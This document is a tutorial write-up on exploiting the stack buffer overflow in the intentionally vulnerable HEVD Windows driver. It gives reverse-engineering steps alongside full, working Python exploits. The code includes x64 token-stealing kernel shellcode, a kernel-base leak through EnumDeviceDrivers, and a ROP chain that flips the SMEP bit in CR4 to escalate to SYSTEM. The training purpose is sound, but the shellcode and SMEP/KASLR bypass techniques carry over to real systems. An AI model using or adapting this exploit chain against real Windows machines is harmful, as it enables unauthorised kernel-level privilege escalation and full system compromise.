1-HEVD-Buffer-Overflow-Stack


This is a series exploitation writeup which shows various attacks of the HackSysExtremeVulnerableDriver (HEVD), which can be found here: https://github.com/hacksysteam/HackSysExtremeVulnerableDriver.

The different IOCTLs are used for different attack vectors in those scenarios and they can be lookup in IDA in the function IrpDeviceIoCtlHandler:

This writeup discusses the stack overflow vulnerability of the HEVD driver and to communicate with the driver, two functions are required.

CreateFileA()
Source: https://learn.microsoft.com/en-us/windows/win32/api/fileapi/nf-fileapi-createfilea  

The first variable we are looking for is lpFileName, which is according to Microsoft:
„The name of the file or device to be created or opened. You may use either forward slashes (/) or backslashes (\) in this name.“

We find the name in the DriverEntry function of the driver. We can look it up via IDA by opening HEVD.sys file and use the function list to browse the DriverEntry function.

The remaining values we fill with those values:

dwDesiredAccess0xC0000000(Generic Read-Write)
dwShareMode0 (No Sharing)
pSecurityAttributesNone               (can optionally contain a pointer to a structure)
dwCreateionDisposition   0x3  (Should only open a file, if it exists)
dwFlagsAndAttributes0(No attributes)
hTemplateFileNone              (optional, to supply file attributes)

DeviceIoControl()
Source: https://learn.microsoft.com/en-us/windows/win32/api/ioapiset/nf-ioapiset-deviceiocontrol

hDevice is the variable which we supply with the handle.

dwIoControlCode specifies the control code for the operation. It tells the driver what should be done.

We would like to abuse the vulnerability in the function TriggerBufferOverflowStack. As we want to identify the IOCTL handler, we find the IrpDeviceIoCtlHandler and double-click it.

We open the function which handles the different functions, based on the control code provided.

Eventually we find the area with the call to BufferOverflowStackIoctlHandler and its IOCTL which is 0x222003.

We check the remaining variables needed for DeviceIoControl().

lpInBuffer                         input       (pointer to the input buffer)
nInBufferSize                   length of input   (size of the input)
lpOutBuffer                      None(pointer to output buffer)
nOutBufferSize                0x3(size of the output)
lpBytesReturned              byred(c_ulong()) (reference to an unsigned int)
lpOverlapped                   None(optional pointer to an overlapped structure)

With the variables being defined, we start with the following PoC-exploit.

PoC Exploit

import struct
import sys
import os
from ctypes import *
# Load kernel32.dll
kernel32 = windll.kernel32
# Handle to the vulnerable driver
handle = kernel32.CreateFileA(
b"\\\\.\\HackSysExtremeVulnerableDriver", # Driver path as bytes
0xC0000000, # Generic RW
0, # No sharing
None, # default security attributes
0x3, # Open Existing
0, # No Attributes
None # No asynchronous options
)
if not handle or handle==-1:
print("handle not found")
sys.exit(0)
# Buffer overflow input
input = b"\x41" * 4000
# 0x222003 is the IOCTL code
ioctl_code = 0x222003
# Function to interact with the driver.
kernel32.DeviceIoControl(
handle, # handle to the device
ioctl_code, # IOCTL code to trigger the vulnerability
input, # Size more then the kernel buffer
len(input), # input length
None, # output buffer
0, # output buffer size
byref(c_ulong()), # Bytes returned
None # aynchronous operations
)

Trigger Exploit
With OSR Driver Loader pointing to the HEVD.sys, we make sure that the service is started (usually this is not needed, as it is installed as a service if registered before).

After preparing the debugger and the debuggee system and making sure that the driver is running. Then we stop the Windbg and set the breakpoint:

ba e1 HEVD!TriggerBufferOverflowStack

We press „g“ again to continue and start the python exploit in the debuggee machine.

We notice we hit the breakpoint, so we know that we go into the right function.

The following screenshot shows the instructions of the function.

We let execution continue and get the crash.

The error occurs in the return instruction (ret) which pops the value located at the address specified by the RSP into the RIP register.

Let’s check out what value that would be.

The next instruction which is attempted to be executed is at 41414141`41414141, which is not a targetable address.

However, since we have used 4000x \x41 as input, we can see we have overwritten a lot of registers, including the stack and therefore address where RSP is pointing to at the ret-instruction.

Control RIP

In this section, we would like to know at which offset of the input buffer is the RSP overwrite taking place. For this we use the pattern_create script from Metasploit framework to create a unique string with the same length, which we used in our input buffer.

In our code, we update the input.

We run the updated exploit again and notice, the input which rsp is now pointing to, is the following.

With the script pattern_offset from Metasploit, we can calculate the offset, which is 2072.

Let’s take a moment and see, if we can somehow analyze the vulnerability via reverse engineering.

We go back to the screenshot which we have seen previously, which shows the function called when IOCTL 0x222003 is used.

Double clicking on BufferOverflowStackIoctlHandler leads us to the following.

The BufferOverflowStackIoctlHandler grabs the user input and its size from the IRP and provides it as parameters for the TriggerBufferOverflowStack function. Let’s check this out via Windbg.

First we set two breakpoints, one when the function BufferOverflowStackIoctlHandler and one for the TriggerBufferOverflowStack.

We also use the previous input of 4000x „A“.

We run the exploit and hit our first break at BufferOverflowStackIoctlHandler.

The first instruction sub rsp, 28h prepares the stack.

The following instructions put values into Irp, which is actually the RCX register, eax and edx.

RCX contains an address which points to a kernel location. EAX is 0 and EDX is also pointing to a kernel address (or contains the lower part of the address to be more specific).

After executing the first few instructions, we check the registers again.

RCX now points towards the beginning of our user buffer, containing the 4.000x „A“. EAX was set to c0000001 and edx to fa0 (which is 4.000 in decimal). Eventhough the comments gave some indication already about what is inside RCX and EAX, we validated it successfully. The instruction test Irp, Irp is actually performing a bitwise AND operation, which just tests if there is any value in register RCX (if there is any input provided).

If RCX would be empty, the bitwise AND operation would be „0“. Since we have the pointer to the buffer in RCX, it is not zero. The next instruction is a jump if zero instruction, which is obviously not taking place. Therefore we follow the red arrow to the call instruction.

We validated it, as we hit the other breakpoint.

This is the function which actually contains the vulnerability.

The three move instructions into RSPand the three push instructions are just to save the values of RBX, RSI, RDI, R12, R14 and R15 for later use and can be neglected.

sub rsp, 820h reserves 2.080 Bytes of space in total for the stack, for the input and local variables.

mov rsi, Size and mov rdi, UserBuffer save the two important values into RSI and RDI as RCX and RDX are used for another purpose later.

xor ebx, ebx sets the RBX register to 0.

Now the next instruction is interesting.

mov r12d, 800h puts 0x800 in hex (2.048 in decimal) into R12. This is also being copied into register R8.

xor edx, edx zeros out edx.

lea UserBuffer, [rsp+838h+KernelBuffer] calculates the start address of the kernel buffer and puts it into RCX (because UserBuffer = RCX).

Let’s recall the values of the registers before calling memset.

RCX is supposed to point to the beginning of a kernel buffer, RDX is zero and R8 is 0x800.

Let’s check the documentation to see what memset() is doing (https://learn.microsoft.com/en-us/cpp/c-runtime-library/reference/memset-wmemset?view=msvc-170).

  1. Argument: RCX              = pointer to kernel buffer,
  2. Argument: RDX              = 0,
  3. Argument: R8                 = 0x800 (Kernel buffer size)

It is using the three registers as parameters to set buffer to a specified character. Without going into too much details, let’s compare the space, where the kernelbuffer is pointing to, before and after calling memset().

Before

We set a breakpoint at the nop instruction right after the memset() function and continue execution.

After

So this effectively zeros out the kernel buffer as „0“ was our 2nd argument when calling the function. Continuing the reverse engineering in IDA, we skip over the part which is only used to print out the information about the buffers and check the four last instructions.

Let’s check the RSI and RDI register, right before the first of the highlighted instruction is executed.

RSI contains the size of the input buffer, which is 4.000 and will move it into r8.

RDI points to the beginning of the user input buffer.

Now we check all registers used for parameters right before the call to memmove().

  1. Argument: RCX              = pointer to kernel buffer (fixed length of 2.048 Bytes expected)
  2. Argument: RDX              = pointer to the user buffer (length of 4.000),
  3. Argument: R8                 = 0xfa0 (length of 4.000)

Let’s check out the function (https://learn.microsoft.com/de-de/cpp/c-runtime-library/reference/memmove-wmemmove?view=msvc-170).

The issue is now clear and quite simply. The kernel buffer was only prepared to hold 2.048 Bytes, however the memmove() function forces to copy 4.000 Bytes.


We assume that after 2.048 Bytes we overwrite several registers. Let’s verify it and update the exploit. Instead of sending 4.000 Bytes in our input, we adjust it to the following.

We run the exploit and check the register.

We were able to reverse engineer the vulnerability and its root cause. Now in the next step, we want to put some payload in our exploit. We use the token stealing payload to escalate privileges to SYSTEM.

Prepare payload

We update the exploit accordingly.

import struct
import sys
import os
from ctypes import *
# Load kernel32.dll
kernel32 = windll.kernel32
# Token Stealing shellcode
payload = bytearray(
b"\x65\x48\x8B\x04\x25\x88\x01\x00\x00" # mov rax,[gs:0x188] ; Current thread (KTHREAD)
b"\x48\x8B\x80\xB8\x00\x00\x00" # mov rax,[rax+0xb8] ; Current process (EPROCESS)
b"\x49\x89\xC0" # mov r8, rax ; Save current EPROCESS
b"\x4d\x8B\x80\x48\x04\x00\x00" # mov r8, [r8+0x448] ; ActiveProcessLinks
b"\x49\x81\xE8\x48\x04\x00\x00" # sub r8, 0x440 ; Go back to current process
b"\x4d\x8B\x88\x40\x04\x00\x00" # mov r9,[r8+0x440] ; UniqueProcessId (PID)
b"\x49\x83\xF9\x04" # cmp r9,byte +0x4 ; Compare PID to SYSTEM PID
b"\x75\xE5" # jnz 0x13 ; Loop until SYSTEM PID is found
b"\x49\x8B\x88\xb8\x04\x00\x00" # mov rcx,[r8+0x4b8] ; SYSTEM token is @ offset _EPROCESS + 0x358
b"\x80\xE1\xF0" # and cl, 0xf0 ; Clear out _EX_FAST_REF RefCnt
b"\x48\x89\x88\xb8\x04\x00\x00" # mov [rax+0x4b8],rcx ; Copy SYSTEM token to current process
b"\x65\x48\x8b\x04\x25\x88\x01\x00\x00" # mov rax, [gs:0x188] ; Reload KTHREAD
b"\x66\x8b\x88\xe4\x01\x00\x00" # mov cx, [rax+0x1E4] ; KTHREAD.PreviousMode
b"\x66\xff\xc1" # inc cx ; PreviousMode = UserMode
b"\x66\x89\x88\xe4\x01\x00\x00" # mov [rax+0x1E4], cx ; Write back PreviousMode
b"\x48\x8b\x90\x90\x00\x00\x00" # mov rdx, [rax+0x90] ; KTHREAD.TrapFrame
b"\x48\x8b\x8a\x68\x01\x00\x00" # mov rcx, [rdx+0x168]; User RIP
b"\x4c\x8b\x9a\x78\x01\x00\x00" # mov r11, [rdx+0x178]; User RFLAGS
b"\x48\x8b\xa2\x80\x01\x00\x00" # mov rsp, [rdx+0x180]; User RSP
b"\x48\x8b\xaa\x58\x01\x00\x00" # mov rbp, [rdx+0x158]; User RBP
b"\x31\xc0" # xor eax, eax ; Clear RAX
b"\x0f\x01\xf8" # swapgs ; Switch GS to user
b"\x48\x0f\x07" # sysretq ; Return to user mode
b"\xff\xff\xff\xff\xff\xff\xff\xff" # padding (unreachable)
)
# Define argument types to match WinAPI prototype.
# This prevents cytpes from assuming incorrect default types (e.g. 32-bit ints).
kernel32.VirtualAlloc.argtypes = [
c_void_p,
c_size_t,
c_ulong,
c_ulong
]
# Define the return type as a pointer-sized value.
# Without this, ctypes would truncate the 64-bit pointer on x64 systems.
kernel32.VirtualAlloc.restype = c_void_p
# We allocate some space for the token stealing shellcode and define this memory as EXECUTE_READWRITE.
ptr = kernel32.VirtualAlloc(
None,
len(payload),
0x3000, # MEM_COMMIT | MEM_RESERVE
0x40 # PAGE_EXECUTE_READWRITE
)
# Creates a ctype variant of the payload (from_buffer)
c_type_buffer = (c_char * len(payload)).from_buffer(payload)
kernel32.RtlMoveMemory.argtypes = [c_void_p, c_void_p, c_size_t]
kernel32.RtlMoveMemory(ptr, c_type_buffer, len(payload))
# Handle to the vulnerable driver
handle = kernel32.CreateFileA(
b"\\\\.\\HackSysExtremeVulnerableDriver", # Driver path as bytes
0xC0000000, # Generic Read-Write
0, # No sharing
None, # default security attributes
0x3, # Open Existing
0, # No Attributes
None # No asynchronous options
)
if not handle or handle==-1:
print("handle not found")
sys.exit(0)
# Buffer overflow input
input = b"\x41" * 2072
input += struct.pack('<Q', ptr) # Location of user mode shellcode
# 0x222003 is the IOCTL code
ioctl_code = 0x222003
# Function to interact with the driver.
kernel32.DeviceIoControl(
handle, # handle to the device
ioctl_code, # IOCTL code to trigger the vulnerability
input, # Size more then the kernel buffer
len(input), # input length
None, # output buffer
0, # output buffer size
byref(c_ulong()), # Bytes returned
None # aynchronous operations
)
os.system("cmd.exe /k cd C:\\")

We set another breakpoint at the beginning of our shellcode. Right when the first instruction of the shellcode (move rax, qword ptr gs:[188h], is attempted to be executed, the execution stops due to an error.

We can analyze the error with !analyze -v.

SMEP Bypass

Microsoft has introduced a security functionality with Windows 10, called Supervisor Mode Execution Prevention.

Source: https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/overview-of-threat-mitigations-in-windows-10

„Supervisor Mode Execution Prevention (SMEP): Helps prevent the kernel (the „supervisor“) from executing code in user pages, a common technique used by attackers for local kernel elevation of privilege (EOP). This configuration requires processor support found in Intel Ivy Bridge or later processors, or ARM with PXN support.“

SMEP is blocking the execution of code in user pages by the kernel. Since this is exactly what we attempted to do with the token stealing shellcode, we need to find a way to bypass it.

There various documentations on how to bypass SMEP.

One approach is to flip the 20th bit of the CR4 register, as this is the flag for enabling/disabling SMEP (https://wiki.osdev.org/CPU_Registers_x86).


In order to find out to which value CR4 has to be set, we identify how it looks at the moment.

The value is 0xb50ef8. Let’s find out which value results in CR4, when flipping the 20th bit.

The value becomes 0xa50ef8.

Now we need a way to adjust the value in CR4. We will use a small ROP chain for this task. We will look for ROP gadgets in the kernel, therefore we use ntoskrnl.exe locate in C:\Windows\System32.

We transfer this file to Kali Linux and use ropper to search for potential gadgets.

The plan is to use a register and pop a value we can define from the stack into the register. Then the second gadget is an instruction which puts the value from that register into cr4.

We find the following gadgets:

0x00000001402053e5: pop rcx; ret;
0x0000000140382eb7: mov cr4, rcx; ret;

The input now looks like this:

# Buffer overflow input
input = b"\x41" * 2072
# Bypassing SMEP
input += struct.pack('<Q', kernelBaseAddress + 0x2053e5) # pop rcx; ret
input += struct.pack('<Q', 0xa50ef8) # Intended CR4 value
input += struct.pack('<Q', kernelBaseAddress + 0x382eb7) # mov cr4, rcx ; ret
# Executing Shellcode
input += struct.pack('<Q', ptr) # Location of user mode shellcode

We recall that the instruction where the crash occured was a ret instruction, where RIP attempted to execute an instruction at 0x4141414141414141.

Now instead, we want to execute our first ROP gadget (RIP points to kernelBaseAddress + 0x2053e5), which should pop the value (from the next line) into RCX and then returns in order for RIP to point to the second gadget (kernelBaseAddress + 0x382eb7) which moves the value from RCX into CR4.

Due to KASLR, we cannot work with hardcoded addresses as the address for these instructions change each time, however the offset of these instruction from the Kernel base address stay the same.

# Leak Kernel base address into base[0]
base = (c_ulonglong * 1024)()
get_drivers = psapi.EnumDeviceDrivers(
byref(base),
sizeof(base),
byref(c_long())
)
kernel_address = base[0]

We make use of EnumDeviceDrivers() to receive the list of each loaded module and put them into the base array. The first entry (base[0]) is always the kernel module.


Final Exploitation

The full exploit now looks like this. We set the breakpoint at the beginning of the function and another one at the ROP chain.

import struct
import sys
import os
from ctypes import *
kernel32 = windll.kernel32
ntdll = windll.ntdll
psapi = windll.Psapi
# Token Stealing shellcode
payload = bytearray(
b"\x65\x48\x8B\x04\x25\x88\x01\x00\x00" # mov rax,[gs:0x188] ; Current thread (KTHREAD)
b"\x48\x8B\x80\xB8\x00\x00\x00" # mov rax,[rax+0xb8] ; Current process (EPROCESS)
b"\x49\x89\xC0" # mov r8, rax ; Save current EPROCESS
b"\x4d\x8B\x80\x48\x04\x00\x00" # mov r8, [r8+0x448] ; ActiveProcessLinks
b"\x49\x81\xE8\x48\x04\x00\x00" # sub r8, 0x440 ; Go back to current process
b"\x4d\x8B\x88\x40\x04\x00\x00" # mov r9,[r8+0x440] ; UniqueProcessId (PID)
b"\x49\x83\xF9\x04" # cmp r9,byte +0x4 ; Compare PID to SYSTEM PID
b"\x75\xE5" # jnz 0x13 ; Loop until SYSTEM PID is found
b"\x49\x8B\x88\xb8\x04\x00\x00" # mov rcx,[r8+0x4b8] ; SYSTEM token is @ offset _EPROCESS + 0x358
b"\x80\xE1\xF0" # and cl, 0xf0 ; Clear out _EX_FAST_REF RefCnt
b"\x48\x89\x88\xb8\x04\x00\x00" # mov [rax+0x4b8],rcx ; Copy SYSTEM token to current process
b"\x65\x48\x8b\x04\x25\x88\x01\x00\x00" # mov rax, [gs:0x188] ; Reload KTHREAD
b"\x66\x8b\x88\xe4\x01\x00\x00" # mov cx, [rax+0x1E4] ; KTHREAD.PreviousMode
b"\x66\xff\xc1" # inc cx ; PreviousMode = UserMode
b"\x66\x89\x88\xe4\x01\x00\x00" # mov [rax+0x1E4], cx ; Write back PreviousMode
b"\x48\x8b\x90\x90\x00\x00\x00" # mov rdx, [rax+0x90] ; KTHREAD.TrapFrame
b"\x48\x8b\x8a\x68\x01\x00\x00" # mov rcx, [rdx+0x168]; User RIP
b"\x4c\x8b\x9a\x78\x01\x00\x00" # mov r11, [rdx+0x178]; User RFLAGS
b"\x48\x8b\xa2\x80\x01\x00\x00" # mov rsp, [rdx+0x180]; User RSP
b"\x48\x8b\xaa\x58\x01\x00\x00" # mov rbp, [rdx+0x158]; User RBP
b"\x31\xc0" # xor eax, eax ; Clear RAX
b"\x0f\x01\xf8" # swapgs ; Switch GS to user
b"\x48\x0f\x07" # sysretq ; Return to user mode
b"\xff\xff\xff\xff\xff\xff\xff\xff" # padding (unreachable)
)
# Define argument types to match WinAPI prototype.
# This prevents cytpes from assuming incorrect default types (e.g. 32-bit ints).
kernel32.VirtualAlloc.argtypes = [
c_void_p,
c_size_t,
c_ulong,
c_ulong
]
# Define the return type as a pointer-sized value.
# Without this, ctypes would truncate the 64-bit pointer on x64 systems.
kernel32.VirtualAlloc.restype = c_void_p
# We allocate some space for the token stealing shellcode and define this memory as EXECUTE_READWRITE.
ptr = kernel32.VirtualAlloc(
None,
len(payload),
0x3000, # MEM_COMMIT | MEM_RESERVE
0x40 # PAGE_EXECUTE_READWRITE
)
# Creates a ctype variant of the payload (from_buffer)
c_type_buffer = (c_char * len(payload)).from_buffer(payload)
kernel32.RtlMoveMemory.argtypes = [c_void_p, c_void_p, c_size_t]
kernel32.RtlMoveMemory(ptr, c_type_buffer, len(payload))
# Leak Kernel base address into base[0]
base = (c_ulonglong * 1024)()
get_drivers = psapi.EnumDeviceDrivers(
byref(base),
sizeof(base),
byref(c_long())
)
kernelBaseAddress = base[0]
# Handle to the vulnerable driver
handle = kernel32.CreateFileA(
b"\\\\.\\HackSysExtremeVulnerableDriver", # Driver path as bytes
0xC0000000, # Generic Read-Write
0, # No sharing
None, # default security attributes
0x3, # Open Existing
0, # No Attributes
None # No asynchronous options
)
if not handle or handle==-1:
print("handle not found")
sys.exit(0)
# Buffer overflow input
input = b"\x41" * 2072
# Bypassing SMEP
input += struct.pack('<Q', kernelBaseAddress + 0x2053e5) # pop rcx; ret
input += struct.pack('<Q', 0xa50ef8) # Intended CR4 value
input += struct.pack('<Q', kernelBaseAddress + 0x382eb7) # mov cr4, rcx ; ret
# Executing Shellcode
input += struct.pack('<Q', ptr) # Location of user mode shellcode
# 0x222003 is the IOCTL code
ioctl_code = 0x222003
# Function to interact with the driver.
kernel32.DeviceIoControl(
handle, # handle to the device
ioctl_code, # IOCTL code to trigger the vulnerability
input, # Size more then the kernel buffer
len(input), # input length
None, # output buffer
0, # output buffer size
byref(c_ulong()), # Bytes returned
None # aynchronous operations
)
os.system("cmd.exe /k cd C:\\")

We see our  ROP gadget being executed.

After the execution of the second instruction, we successfully managed to adjust the value in the CR4 register.

Now we are at the beginning of our shellcode.

At that point we use g to let execution finish.

We managed to bypass DEP, SMEP and KASLR and got SYSTEM privileges.